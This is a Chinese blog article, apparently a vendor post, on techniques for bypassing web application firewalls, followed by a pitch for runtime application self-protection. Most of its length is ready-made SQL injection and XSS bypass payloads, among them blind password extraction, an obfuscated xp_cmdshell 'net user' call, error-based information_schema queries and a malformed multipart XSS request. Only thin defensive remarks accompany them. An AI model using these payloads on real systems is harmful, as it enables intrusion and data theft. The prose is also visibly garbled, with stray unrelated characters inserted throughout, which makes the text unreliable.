近十年來,WAF 已經(jīng)逐漸發(fā)展成熟昧谊,被軟件行業(yè)接受并成為無數(shù)企業(yè)保護(hù)應(yīng)用的不二選擇刽虹。很多大型企業(yè)甚至相繼親自設(shè)計(jì)或通過并購(gòu)涉足其中,在這個(gè)碩大的市場(chǎng)里逐鹿競(jìng)爭(zhēng)呢诬,同時(shí)也推動(dòng)了應(yīng)用層防火墻的技術(shù)演進(jìn)涌哲。
與傳統(tǒng)防火墻工作在傳輸層或網(wǎng)絡(luò)層不同,WAF 工作在應(yīng)用層尚镰,基于對(duì) Web 應(yīng)用業(yè)務(wù)和邏輯的理解阀圾,WAF 對(duì)各類請(qǐng)求進(jìn)行內(nèi)容檢測(cè)和驗(yàn)證,可以做到實(shí)時(shí)阻斷非法的請(qǐng)求狗唉,從而對(duì)各類網(wǎng)站應(yīng)用進(jìn)行有效保護(hù)初烘。
然而道高一尺,魔高一丈》指現(xiàn)代黑客的技術(shù)水平也在日新月異肾筐,零日攻擊早已不是新鮮事,WAF 做為把守應(yīng)用安全的重要一關(guān)難逃此劫缸剪。從原理上講局齿,WAF 實(shí)施的還是基于協(xié)議理解+內(nèi)容正則匹配的工作方式,當(dāng)企業(yè)應(yīng)用代碼更新時(shí)橄登,亦要及時(shí)更新規(guī)則集抓歼,避免誤報(bào)造成業(yè)務(wù)中斷讥此;在另一方面,企業(yè)需要有個(gè)跟蹤安全動(dòng)態(tài)的方案谣妻,以期當(dāng)形形色色新的攻擊方式出現(xiàn)時(shí)萄喳,可以第一時(shí)間更新規(guī)則集,否則就有可能被黑客鉆了空子造成損失蹋半。因此他巨,誤報(bào)和漏報(bào)是懸在應(yīng)用 WAF 保護(hù)的企業(yè)頭頂?shù)膬砂牙校绕湟院笳邽樯酢?/p>
要解決這兩個(gè)問題减江,簡(jiǎn)而言之:前者需要增加研發(fā)投入染突,將 WAF 規(guī)則集更新納入正常的研發(fā)流程管理起來;后者的基本思路則是吃透 WAF辈灼,知己知彼份企,百戰(zhàn)不殆。想了解怎樣防先要知道對(duì)手可能怎樣攻巡莹。在此司志,我想嘗試著列舉一下企業(yè)可以在哪些方面下功夫使 WAF 變得更加靠譜,減少漏報(bào)降宅。這其中包括個(gè)人的經(jīng)驗(yàn)骂远,也包括一些網(wǎng)友分享的經(jīng)驗(yàn),以饗讀者腰根。
1激才,大小寫混排
這可以算最容易想到的方式了。大小寫繞過用于只針對(duì)小寫或大寫的關(guān)鍵字匹配技術(shù)额嘿,正則表達(dá)式 /express/i 大小寫不敏感即無法繞過贸营,這是最簡(jiǎn)單的繞過技術(shù)。
舉例:z.com/index.php?page_id=-15 uNIoN sELecT 1,2,3,4
減少漏報(bào)方法:對(duì)每個(gè)關(guān)鍵字或每種情況都做大小寫轉(zhuǎn)換的處理岩睁。
2,替換關(guān)鍵字
這種情況下大小寫轉(zhuǎn)化無法繞過揣云,而且正則表達(dá)式會(huì)替換或刪除 select捕儒、union 這些關(guān)鍵字,如果只匹配一次就很容易繞過邓夕。
舉例:z.com/index.php?page_id=-15 UNIunionON SELselectECT 1,2,3,4
減少漏報(bào)方法:這種替換可以構(gòu)造得更復(fù)雜:SeLSeselectleCTecT刘莹,設(shè)計(jì)循環(huán)匹配邏輯才可以封堵住。
3焚刚,對(duì)一些攻擊特征串進(jìn)行不同的編碼
如 URL 編碼点弯,ASCII,Unicode 等矿咕,使用一些非標(biāo)準(zhǔn)的編碼很容易就可以繞過 WAF抢肛。
URL 編碼
在 Chrome 中輸入一個(gè)連接狼钮,非保留字的字符瀏覽器會(huì)對(duì)其 URL 編碼,如空格變?yōu)?20捡絮、單引號(hào)%27熬芜、左括號(hào)%28、右括號(hào)%29
普通的URL編碼可能無法實(shí)現(xiàn)繞過福稳,還存在一種情況URL編碼只進(jìn)行了一次過濾涎拉,可以用兩次編碼繞過:page.php?id=1%252f%252a*/UNION%252f%252a /SELECT-
十六進(jìn)制編碼
舉例:z.com/index.php?page_id=-15 /*!u%6eion*/ /*!se%6cect*/ 1,2,3,4… SELECT(extractvalue(0x3C613E61646D696E3C2F613E,0x2f61))
示例代碼中,前者是對(duì)單個(gè)字符十六進(jìn)制編碼的圆,后者則是對(duì)整個(gè)字符串編碼鼓拧,使用上來說較少見一點(diǎn)。
- Unicode編碼
Unicode有所謂的標(biāo)準(zhǔn)編碼和非標(biāo)準(zhǔn)編碼越妈,假設(shè)我們用的utf-8為標(biāo)準(zhǔn)編碼季俩,那么西歐語(yǔ)系所使用的就是非標(biāo)準(zhǔn)編碼了。
看一下常用的幾個(gè)符號(hào)的一些Unicode編碼:
- 單引號(hào): %u0027叮称、%u02b9种玛、%u02bc、 %u02c8瓤檐、 %u2032赂韵、 %uff07、 %c0%27挠蛉、 %c0%a7祭示、 %e0%80%a7
- 空格:%u0020、%uff00谴古、%c0%20质涛、%c0%a0、%e0%80%a0
- 左括號(hào):%u0028掰担、%uff08汇陆、%c0%28、%c0%a8带饱、%e0%80%a8
- 右括號(hào):%u0029毡代、%uff09、%c0%29勺疼、%c0%a9教寂、%e0%80%a9
舉例:?id=10%D6‘%20AND%201=2%23 SELECT ‘?’=’A’; #1
兩個(gè)示例中,前者利用雙字節(jié)繞過执庐,比如對(duì)單引號(hào)轉(zhuǎn)義操作變成 \’酪耕,那么就變成了 %D6%5C’,%D6%5C 構(gòu)成了一個(gè)雙字節(jié)即 Unicode 字節(jié)轨淌,單引號(hào)可以正常使用迂烁。
第二個(gè)示例使用的是兩種不同編碼的字符的比較看尼,它們比較的結(jié)果可能是 True 或者 False ,關(guān)鍵在于 Unicode 編碼種類繁多婚被,基于黑名單的過濾器無法處理所有情況狡忙,從而實(shí)現(xiàn)繞過。
另外平時(shí)聽得多一點(diǎn)的可能是 utf-7 的繞過址芯,還有 utf-16灾茁、utf-32 的繞過,后者曾成功的實(shí)現(xiàn)對(duì) google 的繞過谷炸,有興趣的朋友可以去了解下北专。
減少漏報(bào)方法:暫無,有待調(diào)研
4旬陡,使用注釋
看一下常見的用于注釋的符號(hào)有哪些://, — , /**/, #, –+,– -, ;拓颓,–a
-
普通注釋
舉例:
z.com/index.php?page_id=-15 %55nION/**/%53ElecT 1,2,3,4 ‘union%a0select pass from users#
/**/在構(gòu)造得查詢語(yǔ)句中插入注釋,規(guī)避對(duì)空格的依賴或關(guān)鍵字識(shí)別; #描孟、–+ 用于終結(jié)語(yǔ)句的查詢
- 內(nèi)聯(lián)注釋
相比普通注釋驶睦,內(nèi)聯(lián)注釋用的更多,它有一個(gè)特性 /!**/ 只有MySQL能識(shí)別
舉例:index.php?page_id=-15 /*!UNION*/ /*!SELECT*/ 1,2,3 ?page_id=null%0A/**//*!50000%55nIOn*//*yoyu*/all/**/%0A/*!%53eLEct*/%0A/*nnaa*/+1,2,3,4…
兩個(gè)示例中前者使用內(nèi)聯(lián)注釋匿醒,后者還用到了普通注釋场航。使用注釋一個(gè)很有用的做法便是對(duì)關(guān)鍵字的拆分,要做到這一點(diǎn)后面討論的特殊符號(hào)也能實(shí)現(xiàn)廉羔,當(dāng)然前提是包括/溉痢、*在內(nèi)的這些字符能正常使用。
減少漏報(bào)方法:增加 WAF 匹配規(guī)則對(duì)注視的支持
5憋他,等價(jià)函數(shù)與命令
有些函數(shù)或命令因其關(guān)鍵字被檢測(cè)出來而無法使用,但是在很多情況下可以使用與之等價(jià)或類似的代碼替代其使用竹挡。
-
函數(shù)或變量
hex()镀娶、bin() ==> ascii()
sleep() ==>benchmark()
concat_ws()==>group_concat()
mid()、substr() ==> substring()
@@user ==> user()
@@datadir ==> datadir()
舉例:
substring()和substr()無法使用時(shí):? id=1+and+ascii(lower(mid((select+pwd+from+users+limit+1,1),1,1)))=74
或者:substr((select ‘password’),1,1) = 0×70
strcmp(left(‘password’,1), 0×69) = 1
strcmp(left(‘password’,1), 0×70) = 0
strcmp(left(‘password’,1), 0×71) = -1
上述這幾個(gè)示例用于說明有時(shí)候當(dāng)某個(gè)函數(shù)不能使用時(shí)揪罕,還可以找到其他的函數(shù)替代其實(shí)現(xiàn)梯码,置于select、uinon耸序、where等關(guān)鍵字被限制如何處理將在后面filter部分討論。
符號(hào)
and和or有可能不能使用鲁猩,或者可以試下&&和||能不能用坎怪;還有=不能使用的情況,可以考慮嘗試廓握,因?yàn)槿绻恍∮谟植淮笥诮亮沁吺堑扔诹?br> 在看一下用得多的空格嘁酿,可以使用如下符號(hào)表示其作用:%20 %09 %0a %0b %0c %0d %a0 /**/-
生僻函數(shù)
MySQL/PostgreSQL支持XML函數(shù):Select UpdateXML(‘’,’/script/@x/’,’src=//evil.com’); ?id=1 and 1=(updatexml(1,concat(0x3a,(select user())),1)) SELECT xmlelement(name img,xmlattributes(1as src,’a\l\x65rt(1)’as \117n\x65rror)); //postgresql ?id=1 and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));
MySQL、PostgreSQL男应、Oracle它們都有許多自己的函數(shù)闹司,基于黑名單的filter要想涵蓋這么多東西從實(shí)際上來說不太可能,而且代價(jià)太大沐飘,看來黑名單技術(shù)到一定程度便遇到了限制游桩。
減少漏報(bào)方法:增加WAF規(guī)則集的匹配支持
6,特殊符號(hào)
這里我把非字母數(shù)字的字符都規(guī)在了特殊符號(hào)一類耐朴,特殊符號(hào)有特殊的含義和用法借卧,涉及信息量比前面提到的幾種都要多。
先看下烏云drops上“waf的繞過技巧”一文使用的幾個(gè)例子:
- 使用反引號(hào)`铐刘,例如select `version()`,可以用來過空格和正則挂签,特殊情況下還可以將其做注釋符用
- 神奇的”-+.”,select+id-1+1.from users; “+”是用于字符串連接的画株,”-”和”.”在此也用于連接,可以逃過空格和關(guān)鍵字過濾
- @符號(hào),select@^1.from users; @用于變量定義如@var_name诗祸,一個(gè)@表示用戶定義,@@表示系統(tǒng)變量
- Mysql function() as xxx 也可不用as和空格, select-count(id)test from users; //繞過空格限制
可見,使用這些字符的確是能做很多事械荷,也證實(shí)了那句老話痹兜,只有想不到,沒有做不到。
本人搜羅了部分可能發(fā)揮大作用的字符(未包括’洲脂、*、/等在內(nèi)一铅,考慮到前面已經(jīng)出現(xiàn)較多次了):````、~卜录、!、@、%绊汹、()、[]轿偎、.萝玷、-沛慢、+ 、|、%00```
舉例:
關(guān)鍵字拆分:‘se’+’lec’+’t’
%S%E%L%E%C%T 1
1.aspx?id=1;EXEC(‘ma’+’ster..x’+’p_cm’+’dsh’+’ell ”net user”’)
!和():’ or –+2=- -!!!’2
id=1+(UnI)(oN)+(SeL)(EcT) //另 Access中,”[]”用于表和列,”()”用于數(shù)值也可以做分隔
本節(jié)最后給出一些和這些字符多少有點(diǎn)關(guān)系的操作符供參考:
>>, <<, >=,,,XOR, DIV, SOUNDS LIKE, RLIKE, REGEXP, IS, NOT, BETWEEN
使用這些”特殊符號(hào)”實(shí)現(xiàn)繞過是一件很細(xì)微的事情,一方面各家數(shù)據(jù)庫(kù)對(duì)有效符號(hào)的處理是不一樣的,另一方面你得充分了解這些符號(hào)的特性和使用方法才能作為繞過手段。
減少漏報(bào)方法:增加WAF規(guī)則集的匹配支持
7,HTTP參數(shù)控制
這里HTTP參數(shù)控制除了對(duì)查詢語(yǔ)句的參數(shù)進(jìn)行篡改投慈,還包括HTTP方法承耿、HTTP頭的控制
-
HPP(HTTP Parameter Polution)
舉例:/?id=1;select+1,2,3+from+users+where+id=1— /?id=1;select+1&id=2,3+from+users+where+id=1— /?id=1/**/union/*&id=*/select/*&id=*/pwd/*&id=*/from/*&id=*/users
HPP又稱做重復(fù)參數(shù)污染,最簡(jiǎn)單的就是?uid=1&uid=2&uid=3伪煤,對(duì)于這種情況抱既,不同的Web服務(wù)器處理方式如下:
具體WAF如何處理蚀之,要看其設(shè)置的規(guī)則讶泰,不過就示例中最后一個(gè)來看有較大可能繞過狼犯。
-
HPF(HTTP Parameter Fragment)
這種方法是HTTP分割注入,同CRLF有相似之處(使用控制字符%0a领铐、%0d等執(zhí)行換行)
舉例:/?a=1+union/*&b=*/select+1,pass/*&c=*/from+users– select * from table where a=1 union/* and b=*/select 1,pass/* limit */from users—
看罷上面兩個(gè)示例呐馆,發(fā)現(xiàn)和HPP最后一個(gè)示例很像,不同之處在于參數(shù)不一樣莲兢,這里是在不同的參數(shù)之間進(jìn)行分割汹来,到了數(shù)據(jù)庫(kù)執(zhí)行查詢時(shí)再合并語(yǔ)句。
- HPC(HTTP Parameter Contamination)
這一概念見于exploit-db上的paper:Beyond SQLi: Obfuscate and Bypass改艇,Contamination同樣意為污染收班。
RFC2396定義了如下一些字符:
Unreserved: a-z, A-Z, 0-9 and _ . ! ~ * ‘ ()
Reserved : ; / ? : @ & = + $ ,
Unwise : { } | \ ^ [ ] `
不同的Web服務(wù)器處理處理構(gòu)造得特殊請(qǐng)求時(shí)有不同的邏輯:
以魔術(shù)字符%為例,Asp/Asp.net會(huì)受到影響
減少漏報(bào)方法:增加WAF規(guī)則集的匹配支持
8谒兄,緩沖區(qū)溢出(Advanced)
緩沖區(qū)溢出用于對(duì)付WAF摔桦,有不少WAF是C語(yǔ)言寫的,而C語(yǔ)言自身沒有緩沖區(qū)保護(hù)機(jī)制承疲,因此如果WAF在處理測(cè)試向量時(shí)超出了其緩沖區(qū)長(zhǎng)度邻耕,就會(huì)引發(fā)bug從而實(shí)現(xiàn)繞過。
舉例:
?id=1 and (select 1)=(Select 0xA*1000)+UnIoN+SeLeCT+1,2,version(),4,5,database(),user(),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26
示例0xA*1000指0xA后面”A”重復(fù)1000次燕鸽,一般來說對(duì)應(yīng)用軟件構(gòu)成緩沖區(qū)溢出都需要較大的測(cè)試長(zhǎng)度兄世,這里1000只做參考,在某些情況下可能不需要這么長(zhǎng)也能溢出
此外啊研,有時(shí)把使用GET方法的攻擊轉(zhuǎn)換成使用POST方法的攻擊可能會(huì)避開某些過濾御滩。因?yàn)樵S多應(yīng)用程序只針對(duì)某種類型的請(qǐng)求執(zhí)行過濾鸥拧,如GET請(qǐng)求,阻止已知的攻擊字符串削解。如果一個(gè)應(yīng)用程序希望收到使用GET方法的請(qǐng)求富弦,使用POST請(qǐng)求就可以完全避開這種過濾。
再來看一個(gè)因沒有正確解析HTTP Request數(shù)據(jù)包導(dǎo)致的WAF繞過氛驮,觸發(fā)一個(gè)XSS:
POST /demo.php HTTP/1.0
Content-Type: multipart/form-data; boundary=0000
Content-Length: 97
–0000–
Content-Disposition: form-data; name=x’;filename=”‘;name=payload;”
<script>alert(1)</script>
–0000–
正常的HTTP應(yīng)該是如下:
POST /demo.php HTTP/1.0
Content-Type: multipart/form-data; boundary=0000
Content-Length: 97
–0000–
Content-Disposition: form-data; name=”upfile”; filename=”payload”
<script>alert(1)</script>
–0000–
對(duì)比上面?zhèn)z個(gè) HTTP 頭舆声,給我們提供了 WAF 繞過的思路——修改攻擊特征串或 HTTP 中的一細(xì)節(jié),讓 WAF 無法解析或者解析錯(cuò)誤導(dǎo)致繞過柳爽。(許多 WAF 對(duì)無法解析的 HTTP 頭,默認(rèn)直接 BYPASS碱屁,因此要考慮在配置上針對(duì)這種情況做嚴(yán)格過濾)
以上列舉了八種繞過 WAF 的方式磷脯,一般的解決方案無外乎增加 WAF 規(guī)則集的匹配支持,看下來心情想必是不輕松的(也是夠長(zhǎng)娩脾,累赵誓,值得贊賞),可見吃透 WAF 和堵住 WAF 漏洞非一日之功可及柿赊。在這個(gè)快節(jié)奏的時(shí)代有沒有另辟蹊徑的思路呢俩功?既然想到了,那搜索之后答案也是肯定的——它就是下一代安全防護(hù)機(jī)制“運(yùn)行時(shí)應(yīng)用自我保護(hù)”(RASP)碰声。
為什么說 RASP 可以幫助企業(yè)擺脫 WAF 這種累死人不償命的解決方案呢诡蜓?
舉個(gè)例子也許大家就明白了。RASP 通常使用探針技術(shù)來嵌入應(yīng)用胰挑,而發(fā)揮防護(hù)作用的正是探針蔓罚。不像 WAF 使用旁路監(jiān)聽或前置等方式在門外站崗,探針運(yùn)行在應(yīng)用的執(zhí)行環(huán)境內(nèi)部瞻颂,就像白細(xì)胞之于人體一般將惡意攻擊攔截消滅豺谈。例如 SQL 注入攻擊請(qǐng)求嘗試以任意用戶身份滲透進(jìn)入數(shù)據(jù)庫(kù),在請(qǐng)求到達(dá)應(yīng)用內(nèi)部試圖調(diào)用 JDBC 接口時(shí)贡这,值班的探針就可以監(jiān)測(cè)到這個(gè)異常請(qǐng)求茬末,并在數(shù)據(jù)庫(kù)操作執(zhí)行之前將其攔下。這種工作方式類似守在金庫(kù)入口的保安盖矫,是明顯區(qū)別于在外圍筑城墻并在城門洞設(shè)安檢每過必查的 WAF 治安警察的丽惭。
如果大家理解了這種攔截方式,就會(huì)想到辈双,RASP 的保護(hù)依賴對(duì)各種調(diào)用接口的適配吐根。或許有人會(huì)質(zhì)疑辐马,這不是依然在走 WAF 的老路么拷橘?我的回答是此路非彼路局义。RASP 需要適配的接口是通用接口,而且是面向數(shù)據(jù)資源的接口(源于數(shù)據(jù)的價(jià)值)冗疮,是企業(yè)搭建業(yè)務(wù)上層建筑依賴的底層基礎(chǔ)萄唇,而非千變?nèi)f化的業(yè)務(wù)接口,所以 RASP 跟蹤并適應(yīng)行業(yè)變化的速度是WAF等傳統(tǒng)防護(hù)理念無法企及的术幔。
盡管聽起來看上去形式相似另萤,但有本質(zhì)區(qū)別。誠(chéng)然诅挑, RASP 和 WAF 都要理解并識(shí)別惡意請(qǐng)求的攻擊代碼四敞,從而進(jìn)行正則匹配和識(shí)別,所以二者在這個(gè)工作量上都不少拔妥。但 RASP 天生的地緣優(yōu)勢(shì)決定忿危,近水樓臺(tái)先得月,憑借對(duì)應(yīng)用執(zhí)行邏輯的上下文理解没龙,RASP 比 WAF 更有機(jī)會(huì)去學(xué)習(xí)如何更好地抵御惡意攻擊铺厨,這也是新應(yīng)用安全架構(gòu)常常提到的自適應(yīng)一詞的部分含義。而且萬變不離其宗硬纤,多樣的外部攻擊字符串到了金庫(kù)門口的時(shí)候解滓,表現(xiàn)形式無非就是幾種操作,這使得 RASP 花在匹配攻擊字符串上的開銷肯定比 WAF 要少筝家。
總結(jié)一下洼裤,RASP 可以給企業(yè)應(yīng)用帶來基因上的改變,在不需要應(yīng)用修復(fù)漏洞的條件下提供保護(hù)溪王,并免去了 WAF 繁雜又頻繁的配置和維護(hù)成本逸邦,給企業(yè)安全領(lǐng)域帶來實(shí)質(zhì)價(jià)值的同時(shí),開啟了新的想象空間在扰,解決零日攻擊也隨之變得并非天方夜譚缕减。
參考資料:
WAF防護(hù)機(jī)制和繞過 http://blog.levsonsafe.com/?p=360
淺談WAF繞過 http://netsecurity.51cto.com/art/201212/374068.htm
本文系 OneASP 質(zhì)量架構(gòu)工程師王新泉原創(chuàng)文章。如今芒珠,多樣化的攻擊手段層出不窮桥狡,傳統(tǒng)安全解決方案越來越難以應(yīng)對(duì)網(wǎng)絡(luò)安全攻擊。OneRASP 實(shí)時(shí)應(yīng)用自我保護(hù)技術(shù),可以為軟件產(chǎn)品提供精準(zhǔn)的實(shí)時(shí)保護(hù)皱卓,使其免受漏洞所累裹芝。想閱讀更多技術(shù)文章,請(qǐng)?jiān)L問 OneAPM 官方技術(shù)博客
本文轉(zhuǎn)自 OneAPM 官方博客